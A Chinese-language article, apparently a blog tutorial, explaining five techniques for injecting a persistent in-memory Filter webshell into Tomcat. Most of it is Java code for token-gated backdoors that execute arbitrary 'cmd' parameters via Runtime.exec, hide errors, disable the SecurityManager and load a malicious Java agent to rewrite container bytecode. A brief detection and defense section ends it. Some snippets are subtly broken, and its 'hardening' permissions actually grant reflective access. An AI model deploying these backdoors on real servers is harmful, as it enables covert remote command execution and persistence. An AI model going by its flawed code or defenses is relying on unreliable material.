Java内存马——Filter型的五种注入
字数 1475 2025-08-29 22:41:32

Java Filter型内存马注入技术详解

一、反射注入技术

1.1 核心原理

反射注入技术利用Java反射机制突破访问权限限制,动态操作Web容器内部组件,实现Filter型内存马的注入。其三大技术支柱为:

  • 反射机制:突破private/protected访问权限限制
  • 类加载机制:动态定义恶意Filter类
  • 容器内部结构理解:精准定位关键组件如StandardContext

1.2 完整注入流程(Tomcat为例)

步骤1:获取当前线程ClassLoader

ClassLoader webappClassLoader = Thread.currentThread().getContextClassLoader();

步骤2:定位StandardContext对象

三种定位方式:

方式1:通过WebappClassLoader(Tomcat 7-9)

Field resourcesField = webappClassLoader.getClass().getDeclaredField("resources");
resourcesField.setAccessible(true);
Object resources = resourcesField.get(webappClassLoader);
Field contextField = resources.getClass().getDeclaredField("context");
contextField.setAccessible(true);
Object standardContext = contextField.get(resources);

方式2:通过ServletContext

ServletContext servletContext = request.getServletContext();
Field appCtxField = servletContext.getClass().getDeclaredField("context");
appCtxField.setAccessible(true);
Object applicationContext = appCtxField.get(servletContext);
Field stdCtxField = applicationContext.getClass().getDeclaredField("context");
stdCtxField.setAccessible(true);
Object standardContext = stdCtxField.get(applicationContext);

方式3:通过线程栈遍历

Object standardContext = null;
ThreadGroup group = Thread.currentThread().getThreadGroup();
Thread[] threads = new Thread[group.activeCount()];
group.enumerate(threads);
for (Thread thread : threads) {
    if (thread == null) continue;
    StackTraceElement[] stack = thread.getStackTrace();
    for (StackTraceElement frame : stack) {
        if ("org.apache.catalina.core.ApplicationFilterChain".equals(frame.getClassName()) 
            && "internalDoFilter".equals(frame.getMethodName())) {
            Field localTableField = thread.getClass().getDeclaredField("localValues");
            localTableField.setAccessible(true);
            Object[] localTable = (Object[]) localTableField.get(thread);
            for (Object local : localTable) {
                if (local != null && local.getClass().getName().contains("StandardContext")) {
                    standardContext = local;
                    break;
                }
            }
        }
    }
}

步骤3:动态定义恶意Filter类

byte[] evilFilterBytes = Base64.getDecoder().decode("yv66vgAAADQANAoAEAAbCgAcAB0IAB4KABwAHwcAIAoAAgAhBwAiBwAjAQAGPGluaXQ+");
Method defineClass = ClassLoader.class.getDeclaredMethod(
    "defineClass", String.class, byte[].class, int.class, int.class);
defineClass.setAccessible(true);
Class<?> evilFilterClass = (Class<?>) defineClass.invoke(
    webappClassLoader, "com.evil.DynamicFilter", 
    evilFilterBytes, 0, evilFilterBytes.length);

步骤4:创建并注册FilterDef

Class<?> filterDefClass = Class.forName("org.apache.tomcat.util.descriptor.web.FilterDef");
Object filterDef = filterDefClass.getDeclaredConstructor().newInstance();
String filterName = "mem_" + UUID.randomUUID().toString().substring(0, 8);
filterDefClass.getMethod("setFilterName", String.class).invoke(filterDef, filterName);
filterDefClass.getMethod("setFilterClass", String.class).invoke(
    filterDef, evilFilterClass.getName());
Object evilFilter = evilFilterClass.getDeclaredConstructor().newInstance();
filterDefClass.getMethod("setFilter", Filter.class).invoke(filterDef, evilFilter);
standardContext.getClass().getMethod("addFilterDef", filterDefClass).invoke(
    standardContext, filterDef);

步骤5:创建并配置FilterMap

Class<?> filterMapClass = Class.forName("org.apache.tomcat.util.descriptor.web.FilterMap");
Object filterMap = filterMapClass.getDeclaredConstructor().newInstance();
filterMapClass.getMethod("setFilterName", String.class).invoke(filterMap, filterName);
filterMapClass.getMethod("addURLPattern", String.class).invoke(filterMap, "/*");
filterMapClass.getMethod("setDispatcher", String.class).invoke(filterMap, "REQUEST");
Field filterMapsField = standardContext.getClass().getDeclaredField("filterMaps");
filterMapsField.setAccessible(true);
@SuppressWarnings("unchecked")
List<Object> filterMaps = (List<Object>) filterMapsField.get(standardContext);
filterMaps.add(0, filterMap); // 插入到链首

步骤6:创建ApplicationFilterConfig

Field filterConfigsField = standardContext.getClass().getDeclaredField("filterConfigs");
filterConfigsField.setAccessible(true);
@SuppressWarnings("unchecked")
Map<String, Object> filterConfigs = (Map<String, Object>) filterConfigsField.get(standardContext);
Class<?> appFilterConfigClass = Class.forName("org.apache.catalina.core.ApplicationFilterConfig");
Constructor<?> constructor = appFilterConfigClass.getDeclaredConstructor(
    standardContext.getClass(), filterDefClass);
constructor.setAccessible(true);
Object filterConfig = constructor.newInstance(standardContext, filterDef);
filterConfigs.put(filterName, filterConfig);

1.3 关键技术难点与解决方案

类加载隔离问题

ClassLoader targetLoader = Thread.currentThread().getContextClassLoader();
ClassLoader containerLoader = targetLoader.getParent();
Class<?> standardContextClass = containerLoader.loadClass("org.apache.catalina.core.StandardContext");

版本兼容性问题

String serverInfo = applicationContext.getServerInfo();
int majorVersion = Integer.parseInt(serverInfo.split("/")[1].split("\\.")[0]);
String fieldName = (majorVersion >= 9) ? "context" : "this$0";
Field contextField;
try {
    contextField = applicationContext.getClass().getDeclaredField(fieldName);
} catch (NoSuchFieldException e) {
    contextField = applicationContext.getClass().getDeclaredField("_context");
}

安全管理器绕过

SecurityManager originalSM = System.getSecurityManager();
try {
    System.setSecurityManager(null);
    // 执行敏感反射操作
} finally {
    System.setSecurityManager(originalSM);
}

二、动态代理注入技术

2.1 核心原理

动态代理注入与传统反射注入的区别:

特性 传统反射注入 动态代理注入
类定义 显式定义恶意Filter类 无具体Filter类定义
内存痕迹 存在自定义类字节码 只有系统生成的代理类
隐蔽性 较低(可检测类特征) 极高(代理类为JDK系统类)
技术复杂度 中等 较高
防御绕过能力 一般 优秀

2.2 完整实现流程

步骤1:创建恶意InvocationHandler

public class FilterProxyHandler implements InvocationHandler {
    private final FilterChain originalChain;
    private static final String TRIGGER_PARAM = "X-Token";
    private static final String SECRET_KEY = "d8a7b6c5";

    public FilterProxyHandler(FilterChain chain) {
        this.originalChain = chain;
    }

    @Override
    public Object invoke(Object proxy, Method method, Object[] args) throws Throwable {
        if ("doFilter".equals(method.getName())) {
            ServletRequest request = (ServletRequest) args[0];
            ServletResponse response = (ServletResponse) args[1];
            String token = request.getParameter(TRIGGER_PARAM);
            if (SECRET_KEY.equals(token)) {
                executeMaliciousLogic(request, response);
                return null; // 中断过滤器链
            }
        }
        return method.invoke(originalChain, args);
    }

    private void executeMaliciousLogic(ServletRequest request, ServletResponse response) {
        try {
            String cmd = request.getParameter("cmd");
            if (cmd != null) {
                Class<?> runtimeClass = Class.forName("java.lang.Runtime");
                Method getRuntime = runtimeClass.getMethod("getRuntime");
                Object runtime = getRuntime.invoke(null);
                Method exec = runtimeClass.getMethod("exec", String.class);
                Process process = (Process) exec.invoke(runtime, cmd);
                java.io.InputStream in = process.getInputStream();
                java.util.Scanner s = new java.util.Scanner(in).useDelimiter("\\A");
                String output = s.hasNext() ? s.next() : "";
                response.getWriter().write(output);
                response.getWriter().flush();
            }
        } catch (Exception e) {
            // 静默处理异常
        }
    }
}

步骤2:创建FilterChain动态代理

FilterChain originalChain = ...; // 获取当前请求的FilterChain
InvocationHandler handler = new FilterProxyHandler(originalChain);
ClassLoader classLoader = Thread.currentThread().getContextClassLoader();
FilterChain proxyChain = (FilterChain) Proxy.newProxyInstance(
    classLoader, 
    new Class<?>[] { FilterChain.class }, 
    handler);

步骤3:劫持ApplicationFilterChain

Object applicationFilterChain = ...; // 通过反射获取
Field filtersField = applicationFilterChain.getClass().getDeclaredField("filters");
filtersField.setAccessible(true);
Filter[] filters = (Filter[]) filtersField.get(applicationFilterChain);

Filter dummyFilter = new Filter() {
    public void init(FilterConfig filterConfig) {}
    public void destroy() {}
    public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain) 
        throws IOException, ServletException {
        chain.doFilter(request, response);
    }
};

Filter[] newFilters = new Filter[filters.length + 1];
System.arraycopy(filters, 0, newFilters, 1, filters.length);
newFilters[0] = dummyFilter;
filtersField.set(applicationFilterChain, newFilters);

Field posField = applicationFilterChain.getClass().getDeclaredField("pos");
posField.setAccessible(true);
int currentPos = posField.getInt(applicationFilterChain);
posField.set(applicationFilterChain, currentPos + 1);

Field chainField = applicationFilterChain.getClass().getDeclaredField("chain");
chainField.setAccessible(true);
chainField.set(applicationFilterChain, proxyChain);

2.3 高级实现技巧

双重代理嵌套

InvocationHandler wrapperHandler = new InvocationHandler() {
    public Object invoke(Object proxy, Method method, Object[] args) {
        // 正常业务逻辑
        return method.invoke(target, args);
    }
};

InvocationHandler maliciousHandler = new FilterProxyHandler(wrapperHandler);
FilterChain doubleProxy = (FilterChain) Proxy.newProxyInstance(
    loader, 
    new Class<?>[] { FilterChain.class }, 
    maliciousHandler);

Lambda表达式伪装(Java 8+)

FilterChain lambdaChain = (request, response) -> {
    if (checkTrigger(request)) {
        executeCommand(request, response);
    } else {
        originalChain.doFilter(request, response);
    }
};

三、线程上下文注入技术

3.1 核心原理

技术优势:

  • 零注册痕迹:不修改StandardContext的filterDefs/filterMaps
  • 线程局部性:仅影响当前线程,重启线程后失效
  • 深度隐蔽:不创建持久化组件
  • 动态激活:按需注入,避免常驻内存

3.2 完整注入流程

步骤1:获取当前线程上下文

Thread currentThread = Thread.currentThread();
ClassLoader contextClassLoader = currentThread.getContextClassLoader();
Class<?> clazz = Class.forName("org.apache.catalina.connector.Request");
Field requestField = null;
for (Field field : clazz.getDeclaredFields()) {
    if ("request".equals(field.getName())) {
        requestField = field;
        break;
    }
}
requestField.setAccessible(true);
Object request = requestField.get(currentThread);

步骤2:劫持FilterChain执行位置

Class<?> filterChainClass = Class.forName("org.apache.catalina.core.ApplicationFilterChain");
Field chainField = filterChainClass.getDeclaredField("chain");
chainField.setAccessible(true);
Object originalChain = chainField.get(null);

Filter maliciousFilter = new Filter() {
    @Override
    public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain) 
        throws IOException, ServletException {
        String trigger = request.getParameter("_token");
        if ("7d83b9c4".equals(trigger)) {
            executeCommand(request, response);
            return;
        }
        chain.doFilter(request, response);
    }
};

FilterChain proxyChain = (req, res) -> {
    maliciousFilter.doFilter(req, res, originalChain);
};

步骤3:注入线程上下文

Method getContextMethod = request.getClass().getMethod("getContext");
Object standardContext = getContextMethod.invoke(request);

Class<?> filterConfigClass = Class.forName("org.apache.catalina.core.ApplicationFilterConfig");
Constructor<?> ctor = filterConfigClass.getDeclaredConstructor(
    standardContext.getClass(), 
    Class.forName("org.apache.tomcat.util.descriptor.web.FilterDef"));
ctor.setAccessible(true);

Object filterDef = Class.forName("org.apache.tomcat.util.descriptor.web.FilterDef").newInstance();
filterDef.getClass().getMethod("setFilter", Filter.class).invoke(filterDef, maliciousFilter);
Object filterConfig = ctor.newInstance(standardContext, filterDef);

Field posField = originalChain.getClass().getDeclaredField("pos");
posField.setAccessible(true);
int currentPos = posField.getInt(originalChain);

Field filtersField = originalChain.getClass().getDeclaredField("filters");
filtersField.setAccessible(true);
Object[] filters = (Object[]) filtersField.get(originalChain);

Object[] newFilters = new Object[filters.length + 1];
System.arraycopy(filters, 0, newFilters, 0, currentPos);
newFilters[currentPos] = filterConfig;
System.arraycopy(filters, currentPos, newFilters, currentPos + 1, filters.length - currentPos);

filtersField.set(originalChain, newFilters);
posField.set(originalChain, currentPos + 1);

四、Agent注入技术

4.1 核心原理

Java Agent技术架构:

  • JVMTI:Java虚拟机工具接口(底层C接口)
  • Instrumentation:Java层操作类加载的API
  • ClassFileTransformer:字节码转换核心接口

4.2 完整注入流程

步骤1:创建恶意Agent

public class FilterAgent {
    public static void agentmain(String args, Instrumentation inst) {
        inst.addTransformer(new FilterChainTransformer(), true);
        Class<?>[] classes = inst.getAllLoadedClasses();
        for (Class<?> clazz : classes) {
            if (clazz.getName().equals("org.apache.catalina.core.ApplicationFilterChain")) {
                try {
                    inst.retransformClasses(clazz);
                } catch (Exception e) {
                    // 静默处理
                }
            }
        }
    }
}

步骤2:实现字节码转换器

public class FilterChainTransformer implements ClassFileTransformer {
    private static final String TARGET_CLASS = "org.apache.catalina.core.ApplicationFilterChain";
    private static final String TARGET_METHOD = "internalDoFilter";

    @Override
    public byte[] transform(ClassLoader loader, String className, Class<?> classBeingRedefined, 
            ProtectionDomain protectionDomain, byte[] classfileBuffer) {
        if (!className.replace("/", ".").equals(TARGET_CLASS)) {
            return null;
        }
        try {
            ClassPool cp = ClassPool.getDefault();
            CtClass ctClass = cp.makeClass(new ByteArrayInputStream(classfileBuffer));
            CtMethod method = ctClass.getDeclaredMethod(TARGET_METHOD);
            method.insertBefore(
                "javax.servlet.ServletRequest req = request;" +
                "javax.servlet.ServletResponse res = response;" +
                "String cmd = req.getParameter(\"_cmd\");" +
                "if (cmd != null && \"9b8d7f6c\".equals(req.getParameter(\"_token\"))) {" +
                "    try {" +
                "        java.util.Scanner s = new java.util.Scanner(" +
                "            Runtime.getRuntime().exec(cmd).getInputStream()).useDelimiter(\"\\\\A\");" +
                "        String output = s.hasNext() ? s.next() : \"\";" +
                "        res.getWriter().write(output);" +
                "        res.getWriter().flush();" +
                "        return;" +
                "    } catch (Exception e) {}" +
                "}");
            return ctClass.toBytecode();
        } catch (Exception e) {
            return null;
        }
    }
}

步骤3:动态注入Agent

public void injectAgent() {
    String pid = getTargetPid(); // 获取目标JVM进程ID
    String agentPath = "/tmp/malicious-agent.jar";
    try {
        VirtualMachine vm = VirtualMachine.attach(pid);
        vm.loadAgent(agentPath);
        vm.detach();
    } catch (Exception e) {
        // 异常处理
    }
}

五、Lambda注入技术

5.1 核心原理

Lambda表达式底层机制:

  • invokedynamic:Java 7引入的动态调用指令
  • LambdaMetafactory:Lambda表达式工厂类
  • MethodHandles:底层方法句柄操作

5.2 完整注入流程

步骤1:创建恶意Lambda逻辑

@FunctionalInterface
interface TriFunction<A,B,C,R> {
    R apply(A a, B b, C c);
}

TriFunction<ServletRequest, ServletResponse, FilterChain, Void> maliciousLogic = 
    (request, response, chain) -> {
        String cmd = request.getParameter("cmd");
        if (cmd != null && "d3b7a5f".equals(request.getParameter("token"))) {
            try {
                Process p = Runtime.getRuntime().exec(cmd);
                Scanner s = new Scanner(p.getInputStream()).useDelimiter("\\A");
                response.getWriter().write(s.hasNext() ? s.next() : "");
                return null; // 中断过滤器链
            } catch (Exception e) {}
        }
        try {
            chain.doFilter(request, response);
        } catch (Exception e) {}
        return null;
    };

步骤2:构造Lambda代理Filter

MethodHandles.Lookup lookup = MethodHandles.lookup();
MethodType filterType = MethodType.methodType(
    void.class, ServletRequest.class, ServletResponse.class, FilterChain.class);

CallSite site = LambdaMetafactory.metafactory(
    lookup,
    "doFilter",
    MethodType.methodType(Filter.class, TriFunction.class),
    filterType,
    lookup.findVirtual(TriFunction.class, "apply", 
        MethodType.methodType(Object.class, Object.class, Object.class, Object.class)),
    filterType);

Filter lambdaFilter = (Filter) site.getTarget().invoke(maliciousLogic);

步骤3:劫持FilterChain执行

Field filtersField = filterChain.getClass().getDeclaredField("filters");
filtersField.setAccessible(true);
Filter[] originalFilters = (Filter[]) filtersField.get(filterChain);

Filter[] newFilters = new Filter[originalFilters.length + 1];
System.arraycopy(originalFilters, 0, newFilters, 1, originalFilters.length);
newFilters[0] = lambdaFilter;

filtersField.set(filterChain, newFilters);

Field posField = filterChain.getClass().getDeclaredField("pos");
posField.setAccessible(true);
posField.setInt(filterChain, posField.getInt(filterChain) + 1);

六、检测与防御方案

6.1 检测技术

反射注入检测

// 验证所有Filter都有对应的FilterConfig
Map<String, ?> filterConfigs = context.getFilterConfigs();
List<?> filterMaps = context.getFilterMaps();
for (Object filterMap : filterMaps) {
    String filterName = (String) filterMap.getClass()
        .getMethod("getFilterName").invoke(filterMap);
    if (!filterConfigs.containsKey(filterName)) {
        alertSecurityTeam();
    }
}

动态代理检测

Field chainField = ApplicationFilterChain.class.getDeclaredField("chain");
chainField.setAccessible(true);
Object internalChain = chainField.get(chainInstance);
if (Proxy.isProxyClass(internalChain.getClass())) {
    InvocationHandler handler = Proxy.getInvocationHandler(internalChain);
    // 检查handler类是否可疑
}

Agent注入检测

// 使用Java Agent验证核心类
public class FilterChainVerifier {
    public static void premain(String args, Instrumentation inst) {
        inst.addTransformer((loader, className, classBeingRedefined, 
                protectionDomain, classfileBuffer) -> {
            if ("org/apache/catalina/core/ApplicationFilterChain".equals(className)) {
                if (!verifyClassHash(classfileBuffer)) {
                    throw new SecurityException("FilterChain class compromised!");
                }
            }
            return classfileBuffer;
        });
    }
}

6.2 防御策略

容器加固配置(Tomcat示例)

<!-- context.xml -->
<Context>
    <JarScanner scanClassPath="false"/>
    <Loader delegate="true"/>
    <Valve className="org.apache.catalina.valves.SecurityFilterValve" 
           filterReflection="true"/>
</Context>

安全管理器配置

permission java.lang.reflect.ReflectPermission "suppressAccessChecks";
permission java.lang.RuntimePermission "accessClassInPackage.org.apache.catalina.core";
permission java.lang.RuntimePermission "defineClassInPackage.com.evil";

RASP防护规则

@Hook(className = "java.lang.invoke.LambdaMetafactory", methodName = "metafactory")
public static CallSite onLambdaCreation(MethodHandles.Lookup lookup, String invokedName, 
        MethodType invokedType, MethodType samMethodType, MethodHandle implMethod, 
        MethodType instantiatedMethodType) {
    if (implMethod.type().parameterType(0) == ServletRequest.class) {
        throw new SecurityException("Servlet Filter lambda creation blocked");
    }
    return null;
}
Java Filter型内存马注入技术详解 一、反射注入技术 1.1 核心原理 反射注入技术利用Java反射机制突破访问权限限制,动态操作Web容器内部组件,实现Filter型内存马的注入。其三大技术支柱为: 反射机制:突破private/protected访问权限限制 类加载机制:动态定义恶意Filter类 容器内部结构理解:精准定位关键组件如StandardContext 1.2 完整注入流程(Tomcat为例) 步骤1:获取当前线程ClassLoader 步骤2:定位StandardContext对象 三种定位方式: 方式1:通过WebappClassLoader(Tomcat 7-9) 方式2:通过ServletContext 方式3:通过线程栈遍历 步骤3:动态定义恶意Filter类 步骤4:创建并注册FilterDef 步骤5:创建并配置FilterMap 步骤6:创建ApplicationFilterConfig 1.3 关键技术难点与解决方案 类加载隔离问题 版本兼容性问题 安全管理器绕过 二、动态代理注入技术 2.1 核心原理 动态代理注入与传统反射注入的区别: | 特性 | 传统反射注入 | 动态代理注入 | |------|------------|------------| | 类定义 | 显式定义恶意Filter类 | 无具体Filter类定义 | | 内存痕迹 | 存在自定义类字节码 | 只有系统生成的代理类 | | 隐蔽性 | 较低(可检测类特征) | 极高(代理类为JDK系统类) | | 技术复杂度 | 中等 | 较高 | | 防御绕过能力 | 一般 | 优秀 | 2.2 完整实现流程 步骤1:创建恶意InvocationHandler 步骤2:创建FilterChain动态代理 步骤3:劫持ApplicationFilterChain 2.3 高级实现技巧 双重代理嵌套 Lambda表达式伪装(Java 8+) 三、线程上下文注入技术 3.1 核心原理 技术优势: 零注册痕迹:不修改StandardContext的filterDefs/filterMaps 线程局部性:仅影响当前线程,重启线程后失效 深度隐蔽:不创建持久化组件 动态激活:按需注入,避免常驻内存 3.2 完整注入流程 步骤1:获取当前线程上下文 步骤2:劫持FilterChain执行位置 步骤3:注入线程上下文 四、Agent注入技术 4.1 核心原理 Java Agent技术架构: JVMTI:Java虚拟机工具接口(底层C接口) Instrumentation:Java层操作类加载的API ClassFileTransformer:字节码转换核心接口 4.2 完整注入流程 步骤1:创建恶意Agent 步骤2:实现字节码转换器 步骤3:动态注入Agent 五、Lambda注入技术 5.1 核心原理 Lambda表达式底层机制: invokedynamic:Java 7引入的动态调用指令 LambdaMetafactory:Lambda表达式工厂类 MethodHandles:底层方法句柄操作 5.2 完整注入流程 步骤1:创建恶意Lambda逻辑 步骤2:构造Lambda代理Filter 步骤3:劫持FilterChain执行 六、检测与防御方案 6.1 检测技术 反射注入检测 动态代理检测 Agent注入检测 6.2 防御策略 容器加固配置(Tomcat示例) 安全管理器配置 RASP防护规则